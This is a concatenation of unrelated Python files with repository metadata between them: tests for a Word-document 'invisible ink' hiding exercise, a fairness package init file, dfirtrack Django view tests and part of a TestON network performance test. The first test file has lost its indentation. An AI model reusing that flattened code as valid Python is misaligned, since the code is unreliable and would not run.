# @unittest.mock.patch('src.ch06.p1_invisible_ink.os.path.abspath')
# and mock_abspath.return_value = os.path.normpath('src/ch06/p1files')
# used here?
# Using Python 3.6.8 and python-docx 0.8.10, fails with:
# ValueError: PackURI must begin with slash, got 'src/ch06/p1files'
# Had to use pathlib's Path and PurePath in p1_invisible_ink.main
# Mock output of abspath to avoid FileNotFoundError.
mock_abspath.return_value = os.path.normpath('src/ch06/p1files')
current_dir = os.getcwd()
# Test using test files.
fakefile = os.path.join(current_dir, 'tests/data/ch06/fake.docx')
cipherfile = os.path.join(current_dir, 'tests/data/ch06/cipher.docx')
output_file = os.path.join(current_dir, 'tests/data/ch06/output.docx')
faketext = invisible_ink.get_text(fakefile, False)
ciphertext = invisible_ink.get_text(cipherfile)
invisible_ink.main(fakefile, cipherfile, output_file)
self.assertTrue(os.path.exists(output_file))
output_text = invisible_ink.get_text(output_file)
all_text = ([element for element in faketext if element != ''] +
ciphertext)
self.assertEqual(len(all_text), len(output_text))
for line in output_text:
self.assertIn(line, all_text)
os.remove(output_file)
# Test printed output.
with open(os.path.normpath('tests/data/ch06/main/invisible_ink.txt'),
'r') as file:
file_data = ''.join(file.readlines())
self.assertEqual(mock_stdout.getvalue(), file_data)
# Test using default files.
invisible_ink.main()
fakefile = os.path.join(current_dir, 'src/ch06/p1files/fake.docx')
cipherfile = os.path.join(current_dir, 'src/ch06/p1files/real.docx')
output_file = os.path.normpath('src/ch06/p1files/LetterToUSDA.docx')
faketext = invisible_ink.get_text(fakefile, False)
ciphertext = invisible_ink.get_text(cipherfile)
self.assertTrue(os.path.exists(output_file))
output_text = invisible_ink.get_text(output_file)
all_text = ([element for element in faketext if element != ''] +
ciphertext)
self.assertEqual(len(all_text), len(output_text))
for line in output_text:
self.assertIn(line, all_text)
os.remove(output_file)
class TestInvisibleInkMono(unittest.TestCase):
"""Test Invisible Ink Mono."""
def test_check_fit(self):
"""Test check_fit."""
fakefile = os.path.normpath('tests/data/ch06/fake_mono.docx')
cipherfile = os.path.normpath('tests/data/ch06/cipher_mono.docx')
# Test that it doesn't need extra blanks.
faketext = invisible_ink.get_text(fakefile, False)
ciphertext = invisible_ink.get_text(cipherfile)
blanks_needed = invisible_ink_mono.check_fit(faketext, ciphertext)
self.assertEqual(blanks_needed, 0)
# Test that it does need extra blanks.
faketext = ['This is too short.']
blanks_needed = invisible_ink_mono.check_fit(faketext, ciphertext)
self.assertEqual(blanks_needed, 49)
faketext.append('You would have to write a small novel to get it to '
'fit.')
blanks_needed = invisible_ink_mono.check_fit(faketext, ciphertext)
self.assertEqual(blanks_needed, 37)
faketext.append('Filling in blanks is not as easy as it seems because '
'so few are in every sentence.')
blanks_needed = invisible_ink_mono.check_fit(faketext, ciphertext)
self.assertEqual(blanks_needed, 21)
faketext.append('The use of small words helps, but it is not a good '
'way to go about being a super secret spy person.')
blanks_needed = invisible_ink_mono.check_fit(faketext, ciphertext)
self.assertEqual(blanks_needed, 0)
def test_write_invisible(self):
"""Test write_invisible."""
fakefile = os.path.normpath('tests/data/ch06/fake_mono.docx')
cipherfile = os.path.normpath('tests/data/ch06/cipher_mono.docx')
faketext = invisible_ink.get_text(fakefile, False)
ciphertext = invisible_ink.get_text(cipherfile)
current_dir = os.path.curdir
# Test default template and filename.
invisible_ink_mono.write_invisible(faketext, ciphertext)
output_file = os.path.join(current_dir, 'output.docx')
self.assertTrue(os.path.exists(output_file))
output_text = invisible_ink.get_text(output_file)
self.assertListEqual(constants.WRITE_DEFAULT_MONO, output_text)
# Check color
paragraph_index, count = 0, 0
cipher_len = sum(len(line) for line in ciphertext)
doc = Document(output_file)
while count < cipher_len:
for line in faketext:
paragraph = doc.paragraphs[paragraph_index]
if line == '':
# Skip blanks in faketext and output_file.
paragraph_index += 1
continue
letter_index = 0
for word in line.split():
# Check color of each letter after word.
letter_index += len(word)
if letter_index >= len(line):
# Stop checking at the end of the line.
break
run = paragraph.runs[letter_index]
if all([len(run.text) == 1, run.text != ' ']):
self.assertEqual(run.font.color.rgb, RGBColor(255, 255, 255))
count += 1
letter_index += 1
paragraph_index += 1
os.remove(output_file)
# Test custom template and filename.
template_file = os.path.normpath('tests/data/ch06/template_mono.docx')
output_file = os.path.join(current_dir, 'letter.docx')
invisible_ink_mono.write_invisible(faketext, ciphertext, template_file, 'letter.docx')
self.assertTrue(os.path.exists(output_file))
output_text = invisible_ink.get_text(output_file)
self.assertListEqual(constants.WRITE_DEFAULT_MONO, output_text)
# Check color
paragraph_index, count = 0, 0
cipher_len = sum(len(line) for line in ciphertext)
doc = Document(output_file)
while count < cipher_len:
for line in faketext:
paragraph = doc.paragraphs[paragraph_index]
if line == '':
# Skip blanks in faketext and output_file.
paragraph_index += 1
continue
if paragraph.text == '':
# FIXME: template_file always has a blank paragraph.
paragraph_index += 1
paragraph = doc.paragraphs[paragraph_index]
letter_index = 0
for word in line.split():
# Check color of each letter after word.
letter_index += len(word)
if letter_index >= len(line):
# Stop checking at the end of the line.
break
run = paragraph.runs[letter_index]
if all([len(run.text) == 1, run.text != ' ']):
self.assertEqual(run.font.color.rgb, RGBColor(255, 255, 255))
count += 1
letter_index += 1
paragraph_index += 1
os.remove(output_file)
# Test font name.
invisible_ink_mono.write_invisible(faketext, ciphertext, None, 'letter.docx')
doc = Document(output_file)
if system().lower().startswith('windows'):
for paragraph in doc.paragraphs:
if paragraph.text == '':
continue
self.assertEqual(paragraph.style.font.name, "Courier New")
else:
for paragraph in doc.paragraphs:
if paragraph.text == '':
continue
self.assertEqual(paragraph.style.font.name, "Liberation Mono")
os.remove(output_file)
# Test multi-line ciphertext.
ciphertext.append('Hi')
invisible_ink_mono.write_invisible(faketext, ciphertext)
output_file = os.path.join(current_dir, 'output.docx')
self.assertTrue(os.path.exists(output_file))
output_text = invisible_ink.get_text(output_file)
self.assertListEqual(constants.WRITE_TEST_MONO, output_text)
# Check color
paragraph_index, count = 0, 0
cipher_len = sum(len(line) for line in ciphertext)
doc = Document(output_file)
while count < cipher_len:
for line in faketext:
paragraph = doc.paragraphs[paragraph_index]
if line == '':
# Skip blanks in faketext and output_file.
paragraph_index += 1
continue
letter_index = 0
for word in line.split():
# Check color of each letter after word.
letter_index += len(word)
if letter_index >= len(line):
# Stop checking at the end of the line.
break
run = paragraph.runs[letter_index]
if all([len(run.text) == 1, run.text != ' ']):
self.assertEqual(run.font.color.rgb, RGBColor(255, 255, 255))
count += 1
letter_index += 1
paragraph_index += 1
os.remove(output_file)
# Test error.
ciphertext = ciphertext[:-1]
faketext = invisible_ink.get_text(fakefile)[2:]
error = 'Need 25 more spaces in the plaintext (fake) message.'
with self.assertRaises(ValueError) as err:
invisible_ink_mono.write_invisible(faketext, ciphertext)
self.assertEqual(error, str(err.exception))
@unittest.mock.patch('src.ch06.c1_invisible_ink_mono.Path.resolve')
@unittest.mock.patch('sys.stdout', new_callable=StringIO)
def test_main(self, mock_stdout, mock_resolve):
"""Test demo main function."""
# Mock output of abspath to avoid FileNotFoundError.
mock_resolve.return_value = os.path.normpath('src/ch06/c1files')
current_dir = os.getcwd()
# Test using test files.
fakefile = os.path.join(current_dir, 'tests/data/ch06/fake_mono.docx')
cipherfile = os.path.join(current_dir, 'tests/data/ch06/cipher_mono.docx')
output_file = os.path.join(current_dir, 'tests/data/ch06/output.docx')
invisible_ink_mono.main(fakefile, cipherfile, output_file)
self.assertTrue(os.path.exists(output_file))
output_text = invisible_ink.get_text(output_file)
self.assertEqual(constants.MAIN_TEST_MONO, output_text)
os.remove(output_file)
# Test printed output.
with open(os.path.normpath('tests/data/ch06/main/invisible_ink_mono.txt'),
'r') as file:
file_data = ''.join(file.readlines())
self.assertEqual(mock_stdout.getvalue(), file_data)
# Test using default files.
invisible_ink_mono.main()
output_file = os.path.normpath('src/ch06/c1files/DearInternet.docx')
self.assertTrue(os.path.exists(output_file))
output_text = invisible_ink.get_text(output_file)
self.assertEqual(constants.MAIN_DEFAULT_MONO, output_text)
os.remove(output_file)
if __name__ == '__main__':
unittest.main()
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| 94
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| 95
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|
0
| 7
|
cabb8956e4339a5035a854d1cac9caf969a10062
| 200
|
py
|
Python
|
data_handler/__init__.py
|
naver-ai/cgl_fairness
|
00d3bec233c9b3e0f88496118abaed8321ca3159
|
[
"MIT"
] | 1
|
2022-03-30T06:11:01.000Z
|
2022-03-30T06:11:01.000Z
|
data_handler/__init__.py
|
naver-ai/cgl_fairness
|
00d3bec233c9b3e0f88496118abaed8321ca3159
|
[
"MIT"
] | null | null | null |
data_handler/__init__.py
|
naver-ai/cgl_fairness
|
00d3bec233c9b3e0f88496118abaed8321ca3159
|
[
"MIT"
] | null | null | null |
"""
cgl_fairness
Copyright (c) 2022-present NAVER Corp.
MIT license
"""
from data_handler.dataloader_factory import *
from data_handler.dataset_factory import *
from data_handler.ssl_dataset import *
| 22.222222
| 45
| 0.81
| 28
| 200
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0
| 7
|
1bb5770452e191809a31198dd39c47fd673ab61d
| 8,121
|
py
|
Python
|
dfirtrack_main/tests/entry/test_entry_views.py
|
blackhatethicalhacking/dfirtrack
|
9c2e13015291f2981d14d63c9683e7c447e91f3a
|
[
"MIT"
] | 4
|
2020-03-06T17:37:09.000Z
|
2020-03-17T07:50:55.000Z
|
dfirtrack_main/tests/entry/test_entry_views.py
|
blackhatethicalhacking/dfirtrack
|
9c2e13015291f2981d14d63c9683e7c447e91f3a
|
[
"MIT"
] | null | null | null |
dfirtrack_main/tests/entry/test_entry_views.py
|
blackhatethicalhacking/dfirtrack
|
9c2e13015291f2981d14d63c9683e7c447e91f3a
|
[
"MIT"
] | 1
|
2020-03-06T20:54:52.000Z
|
2020-03-06T20:54:52.000Z
|
from django.contrib.auth.models import User
from django.test import TestCase
from django.utils import timezone
from dfirtrack_main.models import Entry, System, Systemstatus
import urllib.parse
class EntryViewTestCase(TestCase):
""" entry view tests """
@classmethod
def setUpTestData(cls):
# create user
test_user = User.objects.create_user(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# create object
systemstatus_1 = Systemstatus.objects.create(systemstatus_name='systemstatus_1')
# create object
system_1 = System.objects.create(
system_name='system_1',
systemstatus = systemstatus_1,
system_modify_time = timezone.now(),
system_created_by_user_id = test_user,
system_modified_by_user_id = test_user,
)
# create object
Entry.objects.create(
system = system_1,
entry_time = timezone.now(),
entry_sha1 = 'da39a3ee5e6b4b0d3255bfef95601890afd80709',
entry_created_by_user_id = test_user,
entry_modified_by_user_id = test_user,
)
def test_entrys_list_not_logged_in(self):
""" test list view """
# create url
destination = '/login/?next=' + urllib.parse.quote('/entrys/', safe='')
# get response
response = self.client.get('/entrys/', follow=True)
# compare
self.assertRedirects(response, destination, status_code=302, target_status_code=200)
def test_entrys_list_logged_in(self):
""" test list view """
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/')
# compare
self.assertEqual(response.status_code, 200)
def test_entrys_list_template(self):
""" test list view """
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/')
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/entry/entrys_list.html')
def test_entrys_list_get_user_context(self):
""" test list view """
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_entry')
def test_entrys_detail_not_logged_in(self):
""" test detail view """
# get object
entry_1 = Entry.objects.get(entry_sha1='da39a3ee5e6b4b0d3255bfef95601890afd80709')
# create url
destination = '/login/?next=' + urllib.parse.quote('/entrys/' + str(entry_1.entry_id), safe='')
# get response
response = self.client.get('/entrys/' + str(entry_1.entry_id), follow=True)
# compare
self.assertRedirects(response, destination, status_code=302, target_status_code=200)
def test_entrys_detail_logged_in(self):
""" test detail view """
# get object
entry_1 = Entry.objects.get(entry_sha1='da39a3ee5e6b4b0d3255bfef95601890afd80709')
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/' + str(entry_1.entry_id))
# compare
self.assertEqual(response.status_code, 200)
def test_entrys_detail_template(self):
""" test detail view """
# get object
entry_1 = Entry.objects.get(entry_sha1='da39a3ee5e6b4b0d3255bfef95601890afd80709')
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/' + str(entry_1.entry_id))
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/entry/entrys_detail.html')
def test_entrys_detail_get_user_context(self):
""" test detail view """
# get object
entry_1 = Entry.objects.get(entry_sha1='da39a3ee5e6b4b0d3255bfef95601890afd80709')
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/' + str(entry_1.entry_id))
# compare
self.assertEqual(str(response.context['user']), 'testuser_entry')
def test_entrys_add_not_logged_in(self):
""" test add view """
# create url
destination = '/login/?next=' + urllib.parse.quote('/entrys/add/', safe='')
# get response
response = self.client.get('/entrys/add/', follow=True)
# compare
self.assertRedirects(response, destination, status_code=302, target_status_code=200)
def test_entrys_add_logged_in(self):
""" test add view """
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/add/')
# compare
self.assertEqual(response.status_code, 200)
def test_entrys_add_template(self):
""" test add view """
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/add/')
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/entry/entrys_add.html')
def test_entrys_add_get_user_context(self):
""" test add view """
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/add/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_entry')
def test_entrys_edit_not_logged_in(self):
""" test edit view """
# get object
entry_1 = Entry.objects.get(entry_sha1='da39a3ee5e6b4b0d3255bfef95601890afd80709')
# create url
destination = '/login/?next=' + urllib.parse.quote('/entrys/' + str(entry_1.entry_id) + '/edit/', safe='')
# get response
response = self.client.get('/entrys/' + str(entry_1.entry_id) + '/edit/', follow=True)
# compare
self.assertRedirects(response, destination, status_code=302, target_status_code=200)
def test_entrys_edit_logged_in(self):
""" test edit view """
# get object
entry_1 = Entry.objects.get(entry_sha1='da39a3ee5e6b4b0d3255bfef95601890afd80709')
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/' + str(entry_1.entry_id) + '/edit/')
# compare
self.assertEqual(response.status_code, 200)
def test_entrys_edit_template(self):
""" test edit view """
# get object
entry_1 = Entry.objects.get(entry_sha1='da39a3ee5e6b4b0d3255bfef95601890afd80709')
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/' + str(entry_1.entry_id) + '/edit/')
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/entry/entrys_edit.html')
def test_entrys_edit_get_user_context(self):
""" test edit view """
# get object
entry_1 = Entry.objects.get(entry_sha1='da39a3ee5e6b4b0d3255bfef95601890afd80709')
# login testuser
login = self.client.login(username='testuser_entry', password='GBabI7lbSGB13jXjCRoL')
# get response
response = self.client.get('/entrys/' + str(entry_1.entry_id) + '/edit/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_entry')
| 38.306604
| 114
| 0.650536
| 872
| 8,121
| 5.852064
| 0.088303
| 0.05487
| 0.038801
| 0.072114
| 0.85048
| 0.827552
| 0.798354
| 0.790907
| 0.734666
| 0.727807
| 0
| 0.052107
| 0.234331
| 8,121
| 211
| 115
| 38.488152
| 0.768575
| 0.120675
| 0
| 0.458333
| 0
| 0
| 0.187276
| 0.072933
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.177083
| false
| 0.135417
| 0.052083
| 0
| 0.239583
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
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| 0
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| 0
| 0
|
0
| 7
|
940812d36711fc3af0f362f57c06f236543b190d
| 286,488
|
py
|
Python
|
src/testing/TestON/tests/SATScontrollerPerf/SATScontrollerPerf.py
|
securedataplane/preacher
|
2f76581de47036e79cd6e1183948c88b35ce4950
|
[
"MIT"
] | 1
|
2020-07-23T08:06:44.000Z
|
2020-07-23T08:06:44.000Z
|
src/testing/TestON/tests/SATScontrollerPerf/SATScontrollerPerf.py
|
securedataplane/preacher
|
2f76581de47036e79cd6e1183948c88b35ce4950
|
[
"MIT"
] | null | null | null |
src/testing/TestON/tests/SATScontrollerPerf/SATScontrollerPerf.py
|
securedataplane/preacher
|
2f76581de47036e79cd6e1183948c88b35ce4950
|
[
"MIT"
] | null | null | null |
class SATScontrollerPerf:
def __init__( self ):
self.default = ''
def CASE1( self, main ):
import time
import os
import imp
"""
- Construct tests variables
- GIT ( optional )
- Checkout ONOS master branch
- Pull latest ONOS code
- Building ONOS ( optional )
- Install ONOS package
- Build ONOS package
"""
main.case( "Constructing test variables and building ONOS package" )
main.step( "Constructing test variables" )
stepResult = main.FALSE
# Test variables
main.testOnDirectory = os.path.dirname( os.getcwd ( ) )
main.cellName = main.params[ 'ENV' ][ 'cellName' ]
main.apps = main.params[ 'ENV' ][ 'cellApps' ]
gitBranch = main.params[ 'GIT' ][ 'branch' ]
gitPull = main.params[ 'GIT' ][ 'pull' ]
main.ONOSport = main.params[ 'CTRL' ][ 'port' ]
main.dependencyPath = main.testOnDirectory + \
main.params[ 'DEPENDENCY' ][ 'path' ]
wrapperFile1 = main.params[ 'DEPENDENCY' ][ 'wrapper1' ]
wrapperFile2 = main.params[ 'DEPENDENCY' ][ 'wrapper2' ]
main.topology1 = main.params[ 'DEPENDENCY' ][ 'topology1' ]
main.topology2 = main.params[ 'DEPENDENCY' ][ 'topology2' ]
main.topology3 = main.params[ 'DEPENDENCY' ][ 'topology3' ]
main.topologyMN = main.params[ 'DEPENDENCY' ][ 'topologyMN' ]
main.dctopo = main.params[ 'DEPENDENCY' ][ 'dctopo' ]
main.chksumFile1 = main.params[ 'DEPENDENCY' ][ 'chksumFile1' ]
main.chksumFile2 = main.params[ 'DEPENDENCY' ][ 'chksumFile2' ]
main.chksumFile3 = main.params[ 'DEPENDENCY' ][ 'chksumFile3' ]
main.chksumFile4 = main.params[ 'DEPENDENCY' ][ 'chksumFile4' ]
main.chksumFile5 = main.params[ 'DEPENDENCY' ][ 'chksumFile5' ]
main.chksumFile6 = main.params[ 'DEPENDENCY' ][ 'chksumFile6' ]
main.chksumFile7 = main.params[ 'DEPENDENCY' ][ 'chksumFile7' ]
main.chksumFile8 = main.params[ 'DEPENDENCY' ][ 'chksumFile8' ]
main.chksumFile9 = main.params[ 'DEPENDENCY' ][ 'chksumFile9' ]
main.chksumFile10 = main.params[ 'DEPENDENCY' ][ 'chksumFile10' ]
main.attackerHashValue = 0
main.attacker = main.params[ 'ATTACKER' ]
main.hosts = main.params['HOSTS']
main.lblTrafficPath = main.dependencyPath + main.params['DEPENDENCY']['lblTrafficPath']
main.thread124Pcap = main.params[ 'DEPENDENCY' ][ 'thread124Pcap' ]
main.thread6Pcap = main.params[ 'DEPENDENCY' ][ 'thread6Pcap' ]
main.thread8Pcap = main.params[ 'DEPENDENCY' ][ 'thread8Pcap' ]
main.path10thread124Pcap = main.params[ 'DEPENDENCY' ][ 'path10thread124Pcap' ]
main.path10thread6Pcap = main.params[ 'DEPENDENCY' ][ 'path10thread6Pcap' ]
main.path10thread8Pcap = main.params[ 'DEPENDENCY' ][ 'path10thread8Pcap' ]
main.maxNodes = int( main.params[ 'SCALE' ][ 'max' ] )
main.startUpSleep = int( main.params[ 'SLEEP' ][ 'startup' ] )
main.startMNSleep = int( main.params[ 'SLEEP' ][ 'startMN' ] )
main.addFlowSleep = int( main.params[ 'SLEEP' ][ 'addFlow' ] )
main.delFlowSleep = int( main.params[ 'SLEEP' ][ 'delFlow' ] )
main.activateSleep = int( main.params[ 'SLEEP' ][ 'activate' ] )
main.deactivateSleep = int( main.params[ 'SLEEP' ][ 'deactivate' ] )
main.tcpreplaySleep = int( main.params[ 'SLEEP' ][ 'tcpreplay' ] )
main.debug = main.params['DEBUG']
main.detectionTimePath = '/home/mininet/TestON/logs/detectionTimeResults/'
main.detectionTimeLog = '/home/mininet/TestON/logs/detectionTimeResults/detectionTime'
# main.swDPID = main.params[ 'TEST' ][ 'swDPID' ]
main.cellData = {} # for creating cell file
main.CLIs = []
main.ONOSip = []
main.chksums = {}
#main.chksums = { '0' : [], '1' : [], '2' : [], '3' : [], '4' : [], '5' : [],
# '6' : [], '7' : [], '8' : [], '9' : [] }
main.debug = True if "on" in main.debug else False
main.ONOSip = main.ONOSbench.getOnosIps()
# Assigning ONOS cli handles to a list
for i in range( 1, main.maxNodes + 1 ):
main.CLIs.append( getattr( main, 'ONOScli' + str( 1 ) ) )
# -- INIT SECTION, ONLY RUNS ONCE -- #
main.startUp = imp.load_source( wrapperFile1,
main.dependencyPath +
wrapperFile1 +
".py" )
main.topo = imp.load_source( wrapperFile2,
main.dependencyPath +
wrapperFile2 +
".py" )
copyResult = main.Mininet1.scp( main.Mininet1,
main.dependencyPath+main.topology1,
main.Mininet1.home+'/custom/',
direction="to" )
copyResult = main.Mininet1.scp( main.Mininet1,
main.dependencyPath+main.topology2,
main.Mininet1.home+'/custom/',
direction="to" )
copyResult = main.Mininet1.scp( main.Mininet1,
main.dependencyPath+main.topology3,
main.Mininet1.home+'/custom/',
direction="to" )
copyResult = main.Mininet1.scp( main.Mininet1,
main.dependencyPath+main.topologyMN,
main.Mininet1.home+'/custom/',
direction="to" )
copyResult = main.Mininet1.scp( main.Mininet1,
main.dependencyPath+main.dctopo,
main.Mininet1.home+'/custom/',
direction="to" )
copyResult = main.Mininet1.scp( main.Mininet1,
main.dependencyPath+main.chksumFile1,
main.Mininet1.home+'/custom/',
direction="to" )
chksumFiles = [ main.chksumFile1, main.chksumFile2, main.chksumFile3,
main.chksumFile4, main.chksumFile5, main.chksumFile6,
main.chksumFile7, main.chksumFile8, main.chksumFile8,
main.chksumFile9, main.chksumFile10 ]
key = 0
for file in chksumFiles:
chksumFile = main.dependencyPath+file
chksums = []
f = open( chksumFile, 'r' )
for line in f:
chksums.append( line.rstrip( os.linesep ) )
f.close()
main.chksums[ key ] = chksums
key += 1
#main.log.info( str( main.chksums ) )
## for chksums in main.chksums.get( 0 ):
## chksum = int( chksums ) & 4095
## main.log.info( "chksum after & is:" + str( chksum ) )
main.log.info( "Create detection time results directory and file" )
try:
os.mkdir( main.detectionTimePath )
except:
if not os.path.isdir( main.detectionTimePath ):
raise
if main.CLIs:
stepResult = main.TRUE
else:
main.log.error( "Did not properly created list of ONOS CLI handle" )
stepResult = main.FALSE
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully construct " +
"test variables ",
onfail="Failed to construct test variables" )
if gitPull == 'True':
main.step( "Building ONOS in " + gitBranch + " branch" )
onosBuildResult = main.startUp.onosBuild( main, gitBranch )
stepResult = onosBuildResult
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully compiled " +
"latest ONOS",
onfail="Failed to compile " +
"latest ONOS" )
else:
main.log.warn( "Did not pull new code so skipping mvn " +
"clean install" )
def CASE2( self, main ):
"""
- Set up cell
- Create cell file
- Set cell file
- Verify cell file
- Kill ONOS process
- Start ONOS process
- Verify ONOS start up
- Connect to cli
"""
main.numCtrls = int( main.maxNodes )
main.case( "Starting up " + str( main.numCtrls ) +
" node(s) ONOS cluster" )
#kill off all onos processes
main.log.info( "Safety check, killing all ONOS processes" +
" before initiating environment setup" )
for i in range( main.maxNodes ):
main.ONOSbench.onosDie( main.ONOSip[ i ] )
print "NODE COUNT = ", main.numCtrls
tempOnosIp = []
for i in range( main.numCtrls ):
tempOnosIp.append( main.ONOSip[i] )
main.ONOSbench.createCellFile( main.ONOSbench.ip_address, "temp", main.Mininet1.ip_address, main.apps, tempOnosIp )
main.step( "Apply local cell to environment" )
#cellResult = main.ONOSbench.setCell( "temp" )
cellResult = main.ONOSbench.setCell( "onos-ats-test" )
verifyResult = main.ONOSbench.verifyCell()
stepResult = cellResult and verifyResult
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully applied cell to " + \
"environment",
onfail="Failed to apply cell to environment " )
time.sleep( main.startUpSleep )
main.step( "Starting ONOS service" )
stopResult = main.TRUE
startResult = main.TRUE
onosIsUp = main.TRUE
for i in range( main.numCtrls ):
onosIsUp = onosIsUp and main.ONOSbench.isup( main.ONOSip[ i ] )
if onosIsUp == main.TRUE:
time.sleep( main.startUpSleep + 10 )
main.log.report( "ONOS instance is up and ready" )
else:
main.log.report( "ONOS instance may not be up, stop and " +
"start ONOS again " )
for i in range( main.numCtrls ):
stopResult = stopResult and \
main.ONOSbench.onosStop( main.ONOSip[ i ] )
for i in range( main.numCtrls ):
startResult = startResult and \
main.ONOSbench.onosStart( main.ONOSip[ i ] )
stepResult = onosIsUp and stopResult and startResult
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="ONOS service is ready",
onfail="ONOS service did not start properly" )
main.step( "Start ONOS cli" )
cliResult = main.TRUE
for i in range( main.numCtrls ):
cliResult = cliResult and \
main.CLIs[ i ].startOnosCli( main.ONOSip[ i ] )
stepResult = cliResult
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully start ONOS cli",
onfail="Failed to start ONOS cli" )
def CASE32( self, main ):
'''
Start Mininet with 2switch topology
'''
import json
main.case( "Setup mininet for 2switch topology" )
main.caseExplanation = "Start mininet with 2switch topology."
main.step( "Setup Mininet 2 switch Topology" )
topology = main.Mininet1.home + '/custom/' + main.topology1
stepResult = main.Mininet1.startNet( topoFile=topology )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully loaded topology",
onfail="Failed to load topology" )
def CASE320( self, main ):
'''
Start Mininet with fat-tree topology
20 switches.
'''
import json
main.case( "Setup mininet for fat-tree topology" )
main.caseExplanation = "Start mininet with fat-tree topology."
main.step( "Setup Mininet 20 switch fat-tree Topology" )
topology = main.Mininet1.home + '/custom/' + main.topologyMN
mnCommand = ' --topo ft,4 --controller=remote,ip=130.149.39.154 --switch=ovs,protocols=OpenFlow13'
#mnCommand = ' --topo ft,4 --controller=remote --switch=ovs,protocols=OpenFlow13'
stepResult = main.Mininet1.startNet( topoFile=topology, args='',
mnCmd='mn --custom ' + topology + mnCommand )
main.log.info( "Sleep 10 seconds so that all switches connect to the controller")
time.sleep ( 10 )
main.log.info( "Remove any old screen sessions on the Mininet node.")
main.Mininet1.killScreens()
main.log.info( "Kill any old tcpreplay sessions on the Mininet node.")
main.Mininet1.killTcpreplay()
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully loaded topology",
onfail="Failed to load topology" )
def CASE36( self, main ):
'''
Ping hosts (0_0_2<->1_0_2) in Mininet topology
0_0_2 <-> '0_1_2', '1_1_2', '2_0_2', '2_1_2', '3_0_2', '3_1_2'
'''
import json
import time
main.case( "Ping hosts across the network to install flows." )
main.caseExplanation = "Simple ping test between hosts across the network."
main.step( "First set static ARP entries on the hosts" )
stepResult = main.TRUE
stepResult = main.Mininet1.staticArpEntries()
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully set static ARP entries on the hosts",
onfail="Failed to set static ARP entries on the hosts" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
hostList = main.hosts.split(',')
stepResult = main.Mininet1.arpHost( hostList )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
for host in hostList:
for h in hostList:
if host == h:
continue
else:
stepResult = main.Mininet1.pingallHosts( [host, h], "2" )
if stepResult == main.FALSE:
break
time.sleep(.5)
if stepResult == main.FALSE:
break
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
# main.step( "Ping test again, just to be sure the flows are in sync with the switches and ONOS" )
# stepResult = main.Mininet1.pingallHosts( ['0_0_2', '0_1_2', '1_0_2', '1_1_2', '2_0_2', '2_1_2', '3_0_2', '3_1_2'], "2" )
#
# utilities.assert_equals( expect=main.TRUE,
# actual=stepResult,
# onpass="Successfully pinged hosts",
# onfail="Failed to ping hosts" )
def CASE336( self, main ):
'''
Ping hosts (0_0_2<->1_0_2) after the rerouting flows
are installed. This will install the flows for rerouting.
'''
import json
main.case( "Ping hosts across the network to install flows." )
main.caseExplanation = "Simple ping test between hosts across the network."
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "0_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
stepResult = main.Mininet1.arpHost( "2_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( main.Mininet1.checkFlows( "0_2_1" ) )
main.log.info( main.Mininet1.checkFlows( "0_1_1" ) )
main.log.info( main.Mininet1.checkFlows( "0_3_1" ) )
def CASE35( self, main ):
'''
Verify sampling flows are installed on the switches
'''
import json
